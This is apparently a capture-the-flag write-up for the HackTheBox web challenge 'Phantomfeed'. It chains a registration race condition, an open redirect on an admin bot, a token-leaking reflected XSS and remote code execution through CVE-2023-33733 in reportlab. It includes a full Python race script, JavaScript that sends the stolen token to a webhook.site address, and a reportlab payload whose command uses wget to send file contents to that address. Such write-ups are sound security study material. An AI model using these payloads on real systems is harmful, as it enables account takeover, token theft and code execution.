Thrilled to finish in first place with my team GCC-ENSIBS! Special shout out to ESNA and Phreaks2600 for securing the second and third places!
Phantomfeed - Web
Some black-hat affiliated students talk of an underground hacking forum they frequent, the university hacking club has decided it is worth the effort of trying to hack into this illicit platform, in order to gain access to a sizeable array of digital weaponry that could prove critical to securing the campus before the undead arrive.
TL;DR
Use a race condition to register an account and bypass the email verification process. Then, force the bot into the OAuth workflow with a malicious redirect_url
which is reflected at the end of the OAuth worflow, this allows an XSS vulnerability to leak the token. Finish with a RCE inside the library reportlab
which is used to generate PDF from HTML with the CVE-2023-33733
.
Overview
There are three applications involved: the frontend serves both Flask applications. The backend application does not have a login/register feature and instead utilizes an OAuth system set up on the phantom-feed.
Here is an overview of all the routes of the challenge:
/
: phantom-market-frontend is a frontend application made with NuxtJS.
- /
- /callback
- /logout
- /orders
- /product/_id
/phantomfeed
: phantom-feed is a Flask application.
- /phantomfeed/
- /phantomfeed/login
- /phantomfeed/register
- /phantomfeed/confirm
- /phantomfeed/logout
- /phantomfeed/feed
- /phantomfeed/about
- /phantomfeed/marketplace
- /phantomfeed/oauth2/auth
- /phantomfeed/oauth2/code
- /phantomfeed/oauth2/token
/backend
: phantom-market-backend is a Flask application.
- /backend/
- /backend/products/
- /backend/order/
- /backend/orders
- /backend/orders/html
Here is the nginx configuration:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
http {
server {
listen 1337;
server_name pantomfeed;
location / {
proxy_pass http://127.0.0.1:5000;
}
location /phantomfeed {
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
location /backend {
proxy_pass http://127.0.0.1:4000;
}
}
}
|
Screenshot of the application (after validating a user account):
Getting User Account using a Race Condition
During user registration, the user is initially created with verified = True
, but this status is subsequently changed to False
as part of the email verification process.
Goal: Simultaneously register and log in with the same user. The user must be logged before the email verification is added.
The Flask application operates in threaded mode, enabling the exploitation of the race condition.
File: phantom-feed/run.py
1
2
3
|
# [...]
if __name__ == "__main__":
app.run(host="0.0.0.0", port=4000, threaded=True, debug=False)
|
File: phantom-feed/application/util/database.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
class Users(Base):
__tablename__ = "users"
id = Column(Integer, primary_key=True)
verification_code = Column(String)
verified = Column(Boolean, default=True)
username = Column(String)
password = Column(String)
email = Column(String)
class Database:
# [...]
def create_user(self, username, password, email):
user = self.session.query(Users).filter(Users.username == username).first()
if user:
return False, None
password_bytes = password.encode("utf-8")
salt = bcrypt.gensalt()
password_hash = bcrypt.hashpw(password_bytes, salt).decode()
new_user = Users(username=username, password=password_hash, email=email)
self.session.add(new_user)
self.session.commit()
return True, new_user.id
def add_verification(self, user_id):
verification_code = generate(12)
self.session.query(Users).filter(Users.id == user_id).update(
{"verification_code": verification_code, "verified": False})
self.session.commit()
return verification_code
|
File: phantom-feed/application/blueprints/routes.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
@web.route("/register", methods=["GET", "POST"])
def register():
if request.method == "GET":
return render_template("register.html", title="register")
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
email = request.form.get("email")
if not username or not password or not email:
return render_template("error.html", title="error", error="missing parameters"), 400
db_session = Database()
# User is registed with verified = True
user_valid, user_id = db_session.create_user(username, password, email)
current_app.logger.error("%s registered!", username)
if not user_valid:
return render_template("error.html", title="error", error="user exists"), 401
# ReDos on email to add delay for the race condition
email_client = EmailClient(email)
# Add a verification code and set verified = False
verification_code = db_session.add_verification(user_id)
email_client.send_email(f"http://phantomfeed.htb/phantomfeed/confirm?verification_code={verification_code}")
current_app.logger.error("%s mail send!", username)
return render_template("error.html", title="error", error="verification code sent"), 200
|
PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
import threading
import sys
import secrets
import logging
from time import sleep
import requests
BASE_URL = "http://83.136.250.104:43770"
# BASE_URL = "http://127.0.0.1:1337"
PROXIES = {
"http": "http://127.0.0.1:8080"
}
class User:
def __init__(self, username=None, email=None, password=None):
self.username = username if username else secrets.token_hex(12)
self.email = email if email else secrets.token_hex(12) + "!@attacker.com"
self.password = password if password else secrets.token_hex(12)
self.verified = False
def register(self):
resp = requests.post(BASE_URL + "/phantomfeed/register", proxies=PROXIES, data={
"username": self.username,
"email": self.email,
"password": self.password
})
assert resp.status_code == 200
logging.warning("Register with '%s:%s'.", self.username, self.password)
logging.info("Response: %s", resp.text)
def login(self):
resp = requests.post(BASE_URL + "/phantomfeed/login", allow_redirects=False, proxies=PROXIES, data={
"username": self.username,
"password": self.password
})
if resp.status_code != 401:
self.verified = True
cookies = resp.headers.get("Set-Cookie")
logging.warning("=========================================")
logging.warning("Login successful with '%s:%s'.", self.username, self.password)
logging.warning("Cookies of '%s': %s", self.username, cookies)
logging.warning("=========================================")
# logging.warning("Register: %s", resp.text)
elif resp.status_code == 401:
logging.info("Login unsuccessful with '%s:%s'.", self.username, self.password)
def thread_register(user):
user.register()
def thread_login(user):
user.login()
def race_user_accout():
wait = 0.03
while True:
logging.warning("==== WAITING %f ====", wait)
threads = []
tmp_user = User()
thread = threading.Thread(target=thread_register, args=(tmp_user,))
threads.append(thread)
thread.start()
for round in range(10):
thread = threading.Thread(target=thread_login, args=(tmp_user,))
threads.append(thread)
thread.start()
sleep(wait)
for thread in threads:
thread.join()
wait += 0.01
if wait > 0.1:
wait = 0.03
if tmp_user.verified:
break
if __name__ == "__main__":
logging.basicConfig(level=logging.WARNING)
race_user_accout()
|
The JWT obtained through the race condition can be utilized to authenticate ourselves as a regular user.
1
2
3
4
5
6
7
8
9
|
$ python3 race.py
WARNING:root:==== WAITING 0.030000 ====
WARNING:root:Register with '0c901639dfd3bc4d143aa9eb:afe3ded07f13e001ade7c4eb'.
WARNING:root:==== WAITING 0.040000 ====
WARNING:root:Register with 'b90bf08ef2fbafca8d5cb8cf:99a0ab887a6c2c8b7db1f938'.
WARNING:root:=========================================
WARNING:root:Login successful with 'b90bf08ef2fbafca8d5cb8cf:99a0ab887a6c2c8b7db1f938'.
WARNING:root:Cookies of 'b90bf08ef2fbafca8d5cb8cf': token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwaGFudG9tZmVlZC1hdXRoLXNlcnZlciIsImV4cCI6MTcwMjI0ODY2MywidXNlcl9pZCI6MjcsInVzZXJuYW1lIjoiYjkwYmYwOGVmMmZiYWZjYThkNWNiOGNmIiwidXNlcl90eXBlIjoidXNlciJ9.etjpQr7kh2S9Ejn0gNbLJJrTf4AN9I9OSqgbTBhnzbXCZroza3yN38lpkK87wpY63FKDvUfUJYfrXcxpLswLGIIzQCoK9yzAoyY1J9n6tgA9eiz01Jw22lcqhFk4xINk73gwMPWdJUPrdwg5DX5CtZcCbVf8EK-a9djY2tR_3Ns7JqaUZOdJlCTo8yFCwpuBgKkeFg1ldI7BfB2ZjV4BA0At7Y5vaU0olvtzfWjN5NIrFKEP1qDH4NzToMYZAljLEITLE26KmUGOrQ8lknFo94RB3Ej_fmHmJn_u50maepoXLEqNtiDVFhCYrO6frqIN8OM9vt5hXvFdq4DGQ3WO5A; HttpOnly; Path=/; SameSite=Strict
WARNING:root:=========================================
|
Getting Admin account
Open Redirect on Bot
Using our user account, we can trigger the bot which is configured to run as an administrator user.
We can redirect the bot to an abritraty URL using the @
symbol. For example, entering the visit link http://127.0.0.1:5000@example.com
will redirect the bot to the website example.com
.
File: phantom-feed/application/blueprints/routes.py
1
2
3
4
5
6
7
|
@web.route("/feed", methods=["GET", "POST"])
@auth_middleware
def feed():
# ...
market_link = request.form.get("market_link")
bot_runner(market_link)
return redirect("/phantomfeed/feed")
|
File: phantom-feed/application/util/bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
def bot_runner(link):
# [...]
client = webdriver.Chrome(options=chrome_options)
token = create_jwt(1, "administrator")
cookie = {
"name": "token",
"value": token,
"domain": "127.0.0.1",
"path": "/",
"expiry": int((datetime.datetime.now() + datetime.timedelta(seconds=1800)).timestamp()),
"secure": False,
"httpOnly": True
}
client.add_cookie(cookie)
client.get("http://127.0.0.1:5000" + link)
# [...]
|
Example to redirect the bot to our webhook (which will be used later for more exploitation):
1
2
3
4
5
|
POST /phantomfeed/feed HTTP/1.1
Host: 83.136.250.104:42681
Cookie: ...
content=hello&market_link=@webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?ping
|
OAuth with arbitrary redirect_url and no state
On the OAuth workflow on the application, the user must click on the Authorize
button. However, you can force the user (or here the bot) to go to the second link which does not require a User Interaction and has no CSRF/state token.
- /phantomfeed/oauth2/auth?client_id=phantom-market&redirect_url=http://example.com
- /phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=http://example.com
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
@web.route("/oauth2/auth", methods=["GET"])
@auth_middleware
def auth():
client_id = request.args.get("client_id")
redirect_url = request.args.get("redirect_url")
if not client_id or not redirect_url:
return render_template("error.html", title="error", error="missing parameters"), 400
return render_template("oauth2.html",
title="oauth2 authorization",
client_id = client_id,
redirect_url = redirect_url
)
@web.route("/oauth2/code", methods=["GET"])
@auth_middleware
def oauth2():
client_id = request.args.get("client_id")
redirect_url = request.args.get("redirect_url")
if not client_id or not redirect_url:
return render_template("error.html", title="error", error="missing parameters"), 400
authorization_code = generate_authorization_code(request.user_data["username"], client_id, redirect_url)
url = f"{redirect_url}?authorization_code={authorization_code}"
return redirect(url, code=303)
|
Leak Bearer token using fetch diversion (not working)
The bot utilizes an httpOnly
cookie at http://127.0.0.1:5000
and a Bearer Token
at http://127.0.0.1:3000
, therefore, we cannot directly leak its session.
Initially, I didn’t discover any Cross-Site Scripting (XSS) vulnerabilities, so I turned my focus to fetch diversion in the frontend. The two endpoints that caught my attention allowed control over parts of the URL through this.$route.params.id
. However, this control was insufficient to abuse the Bearer token, so I did not pursue this avenue further.
/backend/products/:ID
(no UI)
/backend/order/:ID
(click on button is required)
1
2
3
4
5
6
7
8
9
10
11
12
13
|
async fetchProduct() {
const token = this.getCookie("access_token");
this.$axios.setHeader("Authorization", `Bearer ${token}`);
return await this.$axios.$get(
this.$globalValues.resourceServer + "/products/" + this.$route.params.id);
},
async orderProduct() {
const token = this.getCookie("access_token");
this.$axios.setHeader("Authorization", `Bearer ${token}`);
await this.$axios.$post(
this.$globalValues.resourceServer + "/order/" + this.$route.params.id);
alert("Order placed");
},
|
XSS reflected in redirect_url
In the /oauth2/token
route, the redirect_url
GET parameter must correspond to the redirect_url
stored in the database. Nonetheless, it is possible to assign an arbitrary value to this variable.
This route delivers a response in JSON
format, however the Content-Type
of the response is set to text/html
. So, we can inject an XSS payload inside the redirect_url
and this will be executed as its reflected on the response.
Example: ?redirect_url=https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e%3F<script>PAYLOAD<%2Fscript>
(the second ?
=%3F
is URL encoded)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
@web.route("/oauth2/token", methods=["GET"])
@auth_middleware
def token():
authorization_code = request.args.get("authorization_code")
client_id = request.args.get("client_id")
redirect_url = request.args.get("redirect_url")
if not authorization_code or not client_id or not redirect_url:
return render_template("error.html", title="error", error="missing parameters"), 400
if not verify_authorization_code(authorization_code, client_id, redirect_url):
return render_template("error.html", title="error", error="access denied"), 401
access_token = create_jwt(request.user_data["user_id"], request.user_data["username"])
return json.dumps({
"access_token": access_token,
"token_type": "JWT",
"expires_in": current_app.config["JWT_LIFE_SPAN"],
"redirect_url": redirect_url
})
|
So you can force the bot to initiate the OAuth workflow and exploit an XSS vulnerability to capture its access_token
. This token is used as a Bearer token
in the backend
application.
Here is my XSS payload to leak the access_token
:
1
|
<script>window.location.href=`https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?access_token=${btoa(document.body.innerHTML)}`</script>
|
Full exploit script:
1
2
3
4
5
6
7
8
9
10
|
<script>
const redirect_url = 'https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e%3F%3Cscript%3Ewindow.location.href%3D%60https%3A%2F%2Fwebhook.site%2Fcbfec95c-1ddd-406a-a959-eb7001d9c50e%3Faccess_token%3D%24%7Bbtoa(document.body.innerHTML)%7D%60%3C%2Fscript%3E';
if (!window.location.href.includes("authorization_code") && !window.location.href.includes("access_token")) {
window.location.href=`http://127.0.0.1:3000/phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=${redirect_url}`;
} else if (window.location.href.includes("authorization_code") && window.location.href.includes("window")) {
const authorization_code = window.location.href.split("authorization_code=")[1];
window.location.href=`http://127.0.0.1:3000/phantomfeed/oauth2/token?client_id=phantom-market&authorization_code=${authorization_code}&redirect_url=${redirect_url}`;
}
</script>
|
Workflow in my webhook:
- http://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?ping
- https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?%3Cscript%3Ewindow.location.href=`https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?access_token=${btoa(document.body.innerHTML)}`%3C/script%3E?authorization_code=Z0FBQUFBQmxkTkdDLXFxMng5d2ZaRWFLZU5BNWtpX0VpYUZPUHYtazJKaUppMzg4WDhMc2NfdjZHaG5lUUdQS1pCSWtPOHpkMjBnUEFYdzMxMWhmQjZtU1BEMEE5dFV1T0J6cU13REZNb0pnNTdNNEFsZzhSbUVGcnJtTklkUnlhNlM2YV9WWlJDZnZyMzlxRWZJb2VwMzhwRW4yVzc0cGdqdndyOHJrY0JjLVVId2F4QWdpRlUxazFmTnlrc29Od1lESy1uUjFQamFGTVlQN1lfRGMzS0FwdThZX3g0UmZCNll1VC1sbGNNbE9SS2dKNTVYMl8wcDRvWVdJcDlJMG11cGpfV0xYTk1VMTJsUm1WTjhSTVNLNzk2QUtJRzRXWkpHamVLRHZaSmhMZTQ5VWlzbUIwNFBuMldXcGVobm0xNHBmeWp1QTF0OHp4a2U0QzZsRzY4REdmNDdFaVpQQzlyOFFnY2ZwXzRnSDJpeVFJcFhaemdWMjdJcWl4NGs5eElTcy12Qi1WVEM2cTRIOURoTGFTMGd0WUJ3SlE5NWt0Zz09
- https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?access_token=eyJhY2Nlc3NfdG9rZW4iOiAiZXlKaGJHY2lPaUpTVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnBjM01pT2lKd2FHRnVkRzl0Wm1WbFpDMWhkWFJvTFhObGNuWmxjaUlzSW1WNGNDSTZNVGN3TWpFMU5qUXlOaXdpZFhObGNsOXBaQ0k2TVN3aWRYTmxjbTVoYldVaU9pSmhaRzFwYm1semRISmhkRzl5SWl3aWRYTmxjbDkwZVhCbElqb2lZV1J0YVc1cGMzUnlZWFJ2Y2lKOS5FY2RpbUI5SHViZ2lEQkM5YzF1ZUVYaXFzejdrcGV1Z3Brb0EzYWZ1RjN1dVZPRGlYTWh6TmF2TWpGUkFNcFhTbWFxeTZDeWh6MHdhZDdSUm9tRWpxUHZqY1VZMHpmRkpMZHZRQ0FxbGRsSmtEcGF3Z2dYeVA4a1NhNDVqaXRMa3lMMkxWSkFaUm1qTkVqTHVKUWF2TXAyRmFEVjRoc1VhNFNlbUloMnpaSUFOOTEzMVZxal83V1YyUi1kQjNjUV9LQWxXVk5pMHZfNzU2ZWhubWp1QlNvMTBYZVprRTlRU1pzSVc0S2wxc09VOGFxS2hKdFB2WDBObzltODRKN1lqUnJGV2stcHRCd2R6OTJ5cDdzMlFIeFBJMWtzTkwwZDZDb2VmRVk2eDJEM2ZsMERIM1BOT0dwNWZGOHFCZ2ZYU3VoUHdyQjRDcUVwamtMeWtCUW1zU1EiLCAidG9rZW5fdHlwZSI6ICJKV1QiLCAiZXhwaXJlc19pbiI6IDE4MDAsICJyZWRpcmVjdF91cmwiOiAiaHR0cHM6Ly93ZWJob29rLnNpdGUvY2JmZWM5NWMtMWRkZC00MDZhLWE5NTktZWI3MDAxZDljNTBlPzxzY3JpcHQ+d2luZG93LmxvY2F0aW9uLmhyZWY9YGh0dHBzOi8vd2ViaG9vay5zaXRlL2NiZmVjOTVjLTFkZGQtNDA2YS1hOTU5LWViNzAwMWQ5YzUwZT9hY2Nlc3NfdG9rZW49JHtidG9hKGRvY3VtZW50LmJvZHkuaW5uZXJIVE1MKX1gPC9zY3JpcHQ+
If we base64 decode the document.body.innerHTML
, we obtain the access_token
:
1
2
3
4
5
6
|
{
"access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwaGFudG9tZmVlZC1hdXRoLXNlcnZlciIsImV4cCI6MTcwMjE1NjQyNiwidXNlcl9pZCI6MSwidXNlcm5hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl90eXBlIjoiYWRtaW5pc3RyYXRvciJ9.EcdimB9HubgiDBC9c1ueEXiqsz7kpeugpkoA3afuF3uuVODiXMhzNavMjFRAMpXSmaqy6Cyhz0wad7RRomEjqPvjcUY0zfFJLdvQCAqldlJkDpawggXyP8kSa45jitLkyL2LVJAZRmjNEjLuJQavMp2FaDV4hsUa4SemIh2zZIAN9131Vqj_7WV2R-dB3cQ_KAlWVNi0v_756ehnmjuBSo10XeZkE9QSZsIW4Kl1sOU8aqKhJtPvX0No9m84J7YjRrFWk-ptBwdz92yp7s2QHxPI1ksNL0d6CoefEY6x2D3fl0DH3PNOGp5fF8qBgfXSuhPwrB4CqEpjkLykBQmsSQ",
"token_type": "JWT",
"expires_in": 1800,
"redirect_url": "https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?<script>window.location.href=`https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?access_token=${btoa(document.body.innerHTML)}`</script>"
}
|
RCE via HTML2PDF
The administrator can generate PDF from HTML in the /orders/html
route.
File: phantom-market-backend/application/util/document.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
from reportlab.platypus import SimpleDocTemplate, Paragraph, Table, TableStyle
from reportlab.lib.pagesizes import letter
from reportlab.lib import colors
from io import BytesIO
class HTML2PDF():
def __init__(self):
self.stream_file = BytesIO()
self.content = []
# [...]
def add_paragraph(self, text):
self.content.append(Paragraph(text))
def convert(self, html, data):
doc = self.get_document_template(self.stream_file)
self.add_paragraph(html)
self.add_table(data)
self.build_document(doc, self.content)
return self.stream_file
|
File: phantom-market-backend/application/templates/orders.html
1
2
3
4
5
|
<para>
<font color="{{ color }}">
Orders:
</font>
</para>
|
File: phantom-market-backend/application/blueprints/routes.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
@web.route("/orders/html", methods = ["POST"])
@admin_middleware
def orders_html():
color = request.form.get("color")
db_session = Database()
orders = db_session.get_all_orders()
# [...]
orders_template = render_template("orders.html", color=color)
html2pdf = HTML2PDF()
pdf = html2pdf.convert(orders_template, orders)
pdf.seek(0)
return send_file(pdf, as_attachment=True, download_name="orders.pdf", mimetype="application/pdf")
|
In the requirements.txt
file, the version of reportlab==3.6.12
.
Upon searching online, I came across CVE-2023-33733, which is a vulnerability in the reportlab PDF to HTML converter in versions earlier than 3.6.13:
Exploiting this Remote Code Execution (RCE) vulnerability, we can execute the command wget https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?$(cat /flag*)
to leak the flag (curl
was not available).
1
2
3
4
5
6
7
|
POST /backend/orders/html HTTP/1.1
Host: 83.136.250.104:42681
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwaGFudG9tZmVlZC1hdXRoLXNlcnZlciIsImV4cCI6MTcwMjE1NjQyNiwidXNlcl9pZCI6MSwidXNlcm5hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl90eXBlIjoiYWRtaW5pc3RyYXRvciJ9.EcdimB9HubgiDBC9c1ueEXiqsz7kpeugpkoA3afuF3uuVODiXMhzNavMjFRAMpXSmaqy6Cyhz0wad7RRomEjqPvjcUY0zfFJLdvQCAqldlJkDpawggXyP8kSa45jitLkyL2LVJAZRmjNEjLuJQavMp2FaDV4hsUa4SemIh2zZIAN9131Vqj_7WV2R-dB3cQ_KAlWVNi0v_756ehnmjuBSo10XeZkE9QSZsIW4Kl1sOU8aqKhJtPvX0No9m84J7YjRrFWk-ptBwdz92yp7s2QHxPI1ksNL0d6CoefEY6x2D3fl0DH3PNOGp5fF8qBgfXSuhPwrB4CqEpjkLykBQmsSQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 507
color=[[[getattr(pow, Word('__globals__'))['os'].system('wget https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?$(cat /flag*)') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'
|
And we receive a hit on https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?HTB{r4c3_2_rc3_04uth2_j4ck3d!}
.
Flag: HTB{r4c3_2_rc3_04uth2_j4ck3d!}